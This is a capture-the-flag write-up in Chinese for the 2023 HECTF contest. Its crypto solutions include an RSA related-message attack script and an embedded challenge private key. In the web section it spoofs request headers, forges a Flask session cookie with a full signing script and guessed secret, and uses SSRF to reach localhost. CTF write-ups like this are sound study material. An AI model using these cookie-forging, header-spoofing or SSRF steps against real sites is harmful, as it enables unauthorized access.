2023HECTF

Crypto

rsarsa|(solved)

考点:rsa 公式分解

解题:

原题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# from functools import reduce
# from Crypto.Util.number import *
import random
# from secret import flag,hint

# def generate_PQ(bits):
# x = getPrime(bits) >> bits//2 << bits//2
# while True:
# p = x + random.getrandbits(bits//2)
# if isPrime(p):
# break
# while True:
# q = x + random.getrandbits(bits//2)
# if isPrime(q):
# break
# return p,q

# m = bytes_to_long(flag)
# hint = bytes_to_long(hint)
# e = 65537
# p,q = generate_PQ(1024)
# n = p*q
seed = 256087+396445-538018
random.seed(seed) #只要seed确定 后面生成的数就相同
x = [random.randint(1,seed) for _ in range(2)] #只生成两个数
y = [random.randint(1,seed) for _ in range(2)]
print(x)
print(y)
# print("c =",pow(hint,e,n))
# print("n =",n)

#[30509, 13601]
#[92095, 27065]

# c1 = (30509*m + 13601)^17 % n
# c2 = (92095*m + 27065)^17 % n

# print("c1 =",pow(reduce(lambda x, y: x * m + y, x), 17, n))
# #解释一下这段公式
# #reduce函数存在两个参数 第一个是式子 第二个是对应的操作值
# #比如一个x=[2,3,4] 那么lambda表达式会每次在x中取两个值 并且将运算的结果累计到下一个x 然后y向后取一个数
# print("c2 =",pow(reduce(lambda x, y: x * m + y, y), 17, n))

c = 23001012057110779471190091625946693776382380529397302126337301229214301450335125076016991835054198112255974220434689958104931664098817350134656616154892781885504255726632558690544057380195511404078662094726952602350250840712610362029824982069179543810686494204685887486972937880502875441232004432323308734978847464589775857815430854038396134952486665687531579988133729365443247597395131516449487146786214227230853061720614077115599878358089377114269765796099004940883513036567103436154122335792598432012140232905658895014924069330265282364249236142072335363164451294973492092043110680377767954710822286121195290921259
n = 25797576442752368834409243494498462987370374608513814739930733437032797864549696772439769896270235017474841764016848627149724764584643408544417890463920153063835758878658712790547466715525246861709503145754424896044647787146006099053059124466248594151765065039034244830614724509092882854620642569723528913880146979990993657935598837645247839225413889995373643109990149255485373119338024345925311643249141660177285328457994476509430988280481564046398593906405870633323621548853838399385539924067139236445142933316057900841508972844270649504321178274091144241788883353514769368447833090379142367062327674855735832181241
c1 = 5702553209026762891130621254037294747819864952568824327221430749829654552175171307151888953348659971422228556686092434932000213695492351602755144510029319044193567051613888876933660356756790444392278614143455408803808095980542751023095024106689759843322130186219560734082292015929006937318400901378373771587448471762923415750064340829545587346927358411518874090282598069394946985795177419501659425500481799157093068337225389827654860680897913114945871197415129055139716514884716404289565297854681809258375973195355836553939670482515484347869258398517276876478311544109924573128946617113822561968330536525876279165313
c2 = 17562619948191690401152271053920025392401205523418067246455197241332062181407775133406742024747779181762812656501246379566147855594504112107873162350649668441267907193889705868572309785100582281795380779594946422800722070311908572538672508371123334385630310655242811756206073131919770939609347021343765434127086363844595938894714892990053114153402729297796655717510572619694559203260762574159375142757462082162882775921182437134358375300674547217425590072112733480640372328934982979603312597484512120618223179217692002851194538130349201457319160001114007059615596355221194709809437500052122684989302563103918409825040

import gmpy2
print(gmpy2.gcd(c1,c2))

# c = pow(x,17,n)
p = 160616239660727858899273379103592231155409056274229284184975467127574269595624091311175627078626817259122507024363284463167205592226280887239280008933792076628602313168161987456794466948371108388445589568660803435612911564349113520700334500717237521981464112146232603304167030094761289132103178741978484324163
q = 160616239660727858899273379103592231155409056274229284184975467127574269595624091311175627078626817259122507024363284463167205592226280887239280008933792069345408116962980054711105579607903079344180647686753187313507576711078157922258567830351506693970326314484271008164343339287427523462030830749467794546707

from Crypto.Util.number import *
import gmpy2
e = 65537
phi = (p-1) * (q-1)
d = gmpy2.invert(e,phi)

print(long_to_bytes(pow(c,d,n)))
#b'Hint{Seed_is_256087_+_396445_-_538018}'

其中一些解题的经过也放在里面了

该题主要是两部分组成

首先是根据p和q的生成方式 两数非常接近

所以通过yafu本地即可以分解n

然后利用n分解的p和q 成功获得hint提示

提示告诉了我们种子是什么

在生成随机数的时候:

1
2
3
random.seed(seed)    #只要seed确定 后面生成的数就相同
x = [random.randint(1,seed) for _ in range(2)] #只生成两个数
y = [random.randint(1,seed) for _ in range(2)]

随机数生成器由种子决定 所以是伪随机

当种子seed确定之后 后面两个值的生成是完全固定的

所以算出种子 本地跑一下就可以获得x和y的值

1
2
3
4
5
6
7
8
9
#[30509, 13601]
#[92095, 27065]

n = 25797576442752368834409243494498462987370374608513814739930733437032797864549696772439769896270235017474841764016848627149724764584643408544417890463920153063835758878658712790547466715525246861709503145754424896044647787146006099053059124466248594151765065039034244830614724509092882854620642569723528913880146979990993657935598837645247839225413889995373643109990149255485373119338024345925311643249141660177285328457994476509430988280481564046398593906405870633323621548853838399385539924067139236445142933316057900841508972844270649504321178274091144241788883353514769368447833090379142367062327674855735832181241
c1 = 5702553209026762891130621254037294747819864952568824327221430749829654552175171307151888953348659971422228556686092434932000213695492351602755144510029319044193567051613888876933660356756790444392278614143455408803808095980542751023095024106689759843322130186219560734082292015929006937318400901378373771587448471762923415750064340829545587346927358411518874090282598069394946985795177419501659425500481799157093068337225389827654860680897913114945871197415129055139716514884716404289565297854681809258375973195355836553939670482515484347869258398517276876478311544109924573128946617113822561968330536525876279165313
c2 = 17562619948191690401152271053920025392401205523418067246455197241332062181407775133406742024747779181762812656501246379566147855594504112107873162350649668441267907193889705868572309785100582281795380779594946422800722070311908572538672508371123334385630310655242811756206073131919770939609347021343765434127086363844595938894714892990053114153402729297796655717510572619694559203260762574159375142757462082162882775921182437134358375300674547217425590072112733480640372328934982979603312597484512120618223179217692002851194538130349201457319160001114007059615596355221194709809437500052122684989302563103918409825040

# c1 = (30509*m + 13601)^17 % n
# c2 = (92095*m + 27065)^17 % n

目前卡在最后一步

已知c1和c2 和n 如何求出m

=> 相关明文攻击

脚本来源

image-20231119230808324

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#脚本1
#Sage
import binascii
def attack(c1, c2, n, e):
PR.<x>=PolynomialRing(Zmod(n))
# replace a,b,c,d
a = 30509
b = 13601
c = 92095
d = 27065
g1 = (a*x+b)^e - c1
g2 = (c*x+d)^e - c2

def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
n = 25797576442752368834409243494498462987370374608513814739930733437032797864549696772439769896270235017474841764016848627149724764584643408544417890463920153063835758878658712790547466715525246861709503145754424896044647787146006099053059124466248594151765065039034244830614724509092882854620642569723528913880146979990993657935598837645247839225413889995373643109990149255485373119338024345925311643249141660177285328457994476509430988280481564046398593906405870633323621548853838399385539924067139236445142933316057900841508972844270649504321178274091144241788883353514769368447833090379142367062327674855735832181241
c1 = 5702553209026762891130621254037294747819864952568824327221430749829654552175171307151888953348659971422228556686092434932000213695492351602755144510029319044193567051613888876933660356756790444392278614143455408803808095980542751023095024106689759843322130186219560734082292015929006937318400901378373771587448471762923415750064340829545587346927358411518874090282598069394946985795177419501659425500481799157093068337225389827654860680897913114945871197415129055139716514884716404289565297854681809258375973195355836553939670482515484347869258398517276876478311544109924573128946617113822561968330536525876279165313
c2 = 17562619948191690401152271053920025392401205523418067246455197241332062181407775133406742024747779181762812656501246379566147855594504112107873162350649668441267907193889705868572309785100582281795380779594946422800722070311908572538672508371123334385630310655242811756206073131919770939609347021343765434127086363844595938894714892990053114153402729297796655717510572619694559203260762574159375142757462082162882775921182437134358375300674547217425590072112733480640372328934982979603312597484512120618223179217692002851194538130349201457319160001114007059615596355221194709809437500052122684989302563103918409825040
e = 17
m1 = attack(c1, c2, n, e)
print(binascii.unhexlify("%x" % int(m1)))
print(m1)
from Crypto.Util.number import *
print(long_to_bytes(int(m1)))


#b'HECTF{r3411y_easy_R4nd0m_And_r3l4ted_m3554ge_att4ck}'

我们仨|(solved)

考点:AES 异或 多素数rsa解密 DES

解题:

三层套娃:

第一关:

与NewStarWeek1非常一模一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Cipher import AES
import os
# from flag import flag
from Crypto.Util.number import *

def padding(data):
return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])

def execute_program():
secret_data = padding(flag)
secret_key = os.urandom(16) * 2
init_vector = os.urandom(16)
print(bytes_to_long(secret_key) ^ bytes_to_long(init_vector) ^ 1)
cipher = AES.new(secret_key, AES.MODE_CBC, init_vector)
encrypted_flag = cipher.encrypt(secret_data)
print(encrypted_flag)

# if __name__ == "__main__":
# execute_program()

data = 113271863767201424639329153097952947311122854394813183532903131317262533549675
c = b'_1\x16\xc2;\xb1\xddy\x14\xdd\x14\xe5{\x19\x04:'
data = data ^ 1
key = long_to_bytes(data)[:16] * 2
iv = bytes_to_long(key) ^ data
iv = long_to_bytes(iv)
aes = AES.new(key,AES.MODE_CBC,iv)
dec_flag = aes.decrypt(c)
print(dec_flag)
#

第二关:

直接分解n

获得一系列小素数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import gmpy2
from Crypto.Util.number import *

e=65537
n= 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
c= 7650350848303138131393086727727533413756296838218347123997040508192472569084746342253915001354023303648603939313635106855058934664365503492172
# P = [2217990919
# ,4278428893
# , 2804303069
# , 3654864131
# , 2923072267
# , 2338725373
# , 2706073949
# , 2970591037
# , 2370292207
# , 2463878387
# , 3939901243
# , 2794985117
# , 3207148519
# , 4093178561
# , 3831680819]
P = [2217990919
,4278428893
,2794985117
,3831680819
,2804303069
,2923072267
,3939901243
,2463878387
,2970591037
,2706073949
,3654864131
,2370292207
,2338725373
,4093178561
,3207148519]
phi = 1
for i in range(len(P)):
phi *= P[i]-1

d = gmpy2.invert(e,phi)
m = pow(c,d,n)
# m = 10657149102724042824057034258679160487094630140056870412930577982121073769242507083776
print(long_to_bytes(m))

进入第三关:

1
2
3
gIHkeIlRQp1fLeSWEqZJdOTO4aRYRB2OGRcBycHQ1OAdi6UEULYbwIvYh+0alYScSEoN4TOejgTjdPsetrURRlLX6dcifjX6VvLxY7TnMk7c8/xy17mybq/yNQf0vFGh8byC88bUeHian9dA2Qh6rRBYS1I7iNxM62RtCFZ+1OKeaqGIDjf3/VuPlbnCePYIY5FVs6xNXjkGh0m57t2QW4CoGI5lz6OcAAwg4AHP0d8CfeldOF/TogPwOiPaRlDbtHXCh54Bs5ZivV+jDerr0RQvCGYBFHYLJnvyrFtyZC9BxAQ8gQnGlWNDjE1V6BByUvJjpI9DcUyRSNN21rUWouOiLwtKX0BgDQkGH9PhtzhmGYI+R3lZJ4x30l+Xqweu

DES CBC PKCS7 key:hectf iv:0000

找到一个在线网址 很多是无法操作的 但是这个可以

image-20231119103228110

成功获得flag:HECTF{DES_RSA_AES_WOMENSA_ZHENQIANG}

image-20231119162730981

esayecc

考点:ECC椭圆曲线加密

解题:

首先给了一个私钥文件:

1
2
3
4
5
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgotFz7q/WASYctvjN
Cm4zE7fkywF7jJV0nIME7bsW2i6hRANCAARClk9phO799cZ7E/ZF3ByjzczSz2Wd
fuVuLvrNSK0wlUCXegI/pVSDhvLM9diYBj0hear1pO4tA89Kttmsl4Bf
-----END PRIVATE KEY-----

利用在线网址进行解密 获得公钥文件:

1
2
3
4
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQpZPaYTu/fXGexP2Rdwco83M0s9l
nX7lbi76zUitMJVAl3oCP6VUg4byzPXYmAY9IXmq9aTuLQPPSrbZrJeAXw==
-----END PUBLIC KEY-----

利用在线工具 对公钥文件进行解密:

image-20231119101454309

原题代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import *
from Crypto.PublicKey import ECC
from fastecdsa import curve
from sympy import *
me = bytes_to_long(flag)

key = ECC.generate(curve='NIST P-256')
f = open('pem.txt', 'w').write(key.export_key(format='PEM'))
G = key.public_key()
k = key.d
n = G.order()
p = curve.P256.p
r = randprime(1, n-1)

M = E.random_point()
# M = (mx, my)
e = nextprime(my-mx)
N = n * p
c = pow(me, e, int(N))
print('c =', c)

K = k*G
c1 = M+r*K
c2 = r*G
print(c1)
print(c2)

# c = 340411986008332622492252515156919590702658555525072399052451683041772652474839788525448087771416400264570261404595656046016551644464496921197111421138765
# c1 = (71430232672331113271988412132459391678542075997754159037222774180961171917977 : 62238630405406252154015032808640586594811636815028129383858020738965206372881 : 1)
# c2 = (25742109236464952840117078659367834030129507446418393682693133323915430074859 : 65657711071079869088595294059522027768683424454908946840021611773238453793364 : 1)

web

伪装者

首先本地访问:

X-Forwarded-For: 127.0.0.1

然后Referer:

Referer: ctf.sc0de.com

最后使用的浏览器:

User-Agent: Firefox

然后进入username的检测

我们发现在输入框中 单纯输入zxk1ing 是无法成功进入的

注意到存在session

把session利用下面脚本进行解密 脚本来源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

首先对原始session进行解密:

在终端输入命令行启动 -s后面接的是密钥 我们推测是这个名字

1
2
3
4
python session.py decode -s "zxk1ing" -c "eyJrZXkiOiJ6eGsxaW5nIiwidXNlcm5hbWUiOiJqb2tlciJ9.ZVmUuQ.FGqtCpSwv-lmNqDzTIFxpoS66Ck"


{'key': 'zxk1ing', 'username': 'joker'}

我们可以看到存在关键词username

把username改成zxk1ing

然后加密 生成伪造的session

1
2
python session.py encode -s "zxk1ing" -t "{'key': 'zxk1ing', 'username': 'zxk1ing'}"                   
eyJrZXkiOiJ6eGsxaW5nIiwidXNlcm5hbWUiOiJ6eGsxaW5nIn0.ZVmW3A.Vp7Tyn1njNuyFxSO4TPpoqC__qk

替换原来session后成功进入

image-20231119131909449

然后访问/P1aceuWillneverkn0w 进入之后只有一张图片

意料之外

既然里面加了引号 肯定是有节目的

查看一下这个图片的地址

image-20231119215745106

考虑到==ssrf==

把他复制然后访问

image-20231119215813666

前面会自动拼接题目的网址 后面跟图片的URL

然后根据本地的特性提醒

我们去访问127.0.0.1/P1aceuWillneverkn0w

image-20231119215920527

成功获得flag : HECTF{04800e5c552a70de9ef7a9cd00a26c90c107e010}